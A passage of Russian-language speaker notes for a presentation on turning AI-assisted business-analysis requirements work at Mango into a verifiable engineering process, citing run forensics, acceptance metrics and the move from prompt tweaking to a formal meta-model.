\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442. \u042d\u0442\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u0441 \u043f\u043b\u0430\u043d\u043e\u043c, \u0430 \u043d\u0435 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u0430\u044f\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1 \u043c\u0438\u043d\u0443\u0442\u0430. **\u0426\u0435\u043b\u044c:** \u043d\u0430\u0437\u0432\u0430\u0442\u044c \u0442\u0435\u0437\u0438\u0441 \u0438 \u0434\u0430\u0442\u044c \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n\u043d\u0430 \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0430 \u043d\u0435 \u043d\u0430 \u0442\u0435\u043e\u0440\u0438\u044e.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u043f\u0440\u0438\u0448\u043b\u0438 \u043d\u0435 \u0441 \u0438\u0434\u0435\u0435\u0439, \u0430 \u0441 \u043f\u043e\u043b\u0443\u0433\u043e\u0434\u043e\u043c \u0440\u0430\u0431\u043e\u0442\u044b: \u0441 \u0430\u043f\u0440\u0435\u043b\u044f \u043f\u043e \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 \u0433\u043e\u0434\u0430\\n  69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447 \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango \u0447\u0435\u0440\u0435\u0437 \u0418\u0418.\\n- \u0412\u0441\u0451 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u043c \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\\n  [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts): \u0432\u0445\u043e\u0434\u044b,\\n  \u0432\u044b\u0445\u043e\u0434\u044b, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0436\u0443\u0440\u043d\u0430\u043b\u044b. 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2014 \u0444\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a\\n  \u0443\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u0438 \u0433\u0434\u0435 \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u043e\u0439.\\n- \u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043d\u044f\u043b\u0438: \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n  \u0435\u0433\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0438\u0439\u00bb \u0442\u0435\u043a\u0441\u0442 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u0433\u043e\u0434\u0438\u0442\u0441\u044f. \u041d\u0443\u0436\u043d\u0430 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435\\n\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043e\u0442\u0434\u0430\u0432\u0430\u043b\u0438\\n\u044d\u0442\u0443 \u0440\u0430\u0431\u043e\u0442\u0443 \u0418\u0418\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0431\u043e\u043b\u044c \u0447\u0438\u0441\u043b\u0430\u043c\u0438 \u0438\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0440\u043f\u0443\u0441\u0430,\\n\u0430 \u043d\u0435 \u0438\u0437 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\\n  [\u0432\u0441\u0435 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0440\u0430\u0437\u0431\u043e\u0440\u0430. \u041f\u0440\u043e\u0433\u043e\u043d \u0437\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u043c, \u043f\u043e \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430\u043c.\\n- 17 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440. \u041c\u0435\u0442\u0440\u0438\u043a\u0430\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `M-1` \u0440\u0430\u0432\u043d\u0430 \u043d\u0443\u043b\u044e. \u0414\u0430\u0436\u0435 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430,\\n  BCREQ-1074, \u0432 \u0442\u0440\u0451\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u0434\u0430\u043b\u0430 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442, \u0438\u0437 \u043a\u0430\u043a\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 \u043e\u043d\u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438. \u0422\u0430\u043a\u043e\u0439\\n  \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u0438 \u043d\u0435\u043b\u044c\u0437\u044f \u0447\u0435\u0441\u0442\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c. \u0412 RUN-0015 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 NFR \u2014\\n  5 \u043c\u0438\u043d\u0443\u0442, 100 \u043c\u0441, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b, 24/7. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0432\u0441\u0451 \u043e\u0442\u043a\u043b\u043e\u043d\u0438\u043b\\n  \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a.\\n- \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0445 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0442\u043e, \u0447\u0442\u043e\\n  \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u0443\u043c\u0435\u0435\u0442. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e\\n  \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f.\\n- \u0418\u0442\u043e\u0433: \u0431\u0435\u0437 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e 2 \u0438\u0437 32 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u2014\\n  6%. \u042d\u0442\u043e \u043d\u0430\u0448\u0430\\n  [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n**\u041a\u0430\u043a \u043f\u043e\u0434\u0430\u0442\u044c:** \u043d\u0435 \u00ab\u0418\u0418 \u043f\u043b\u043e\u0445\u043e\u0439\u00bb, \u0430 \u00ab\u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442, \u0447\u0442\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u043c\u00bb. \u041c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e\u0442 \u0432\u043e\u043f\u0440\u043e\u0441, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0430\u043d.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u0442\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043f\u0435\u0440\u0432\u0430\u044f \u0440\u0435\u0430\u043a\u0446\u0438\u044f \u2014 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442. \u041c\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438\\n\u0434\u0435\u043b\u0430\u043b\u0438, \u0434\u043e\u043b\u0433\u043e\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u044e \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u0432\u044b\u043d\u0443\u0436\u0434\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434. \u042d\u0442\u043e \u043a\u043b\u044e\u0447 \u043a \u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430 \u043f\u043e \u0441\u0445\u0435\u043c\u0435 \u00ab\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\u00bb.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438, \u0432\\n  [\u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0435 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n  \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, RFC \u0438 \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u0438\u0435. \u042d\u0442\u043e \u0431\u044b\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u0448\u0430\u0433 \u043e\u0442 \u0440\u0435\u043c\u0435\u0441\u043b\u0430 \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443.\\n- \u0412 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442. \u041a\u0430\u0436\u0434\u044b\u0439\\n  \u043f\u0440\u043e\u0433\u043e\u043d \u0441\u0442\u0430\u043b\u0438 \u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443: \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c, \u043c\u0435\u0442\u0440\u0438\u043a\u0438.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## 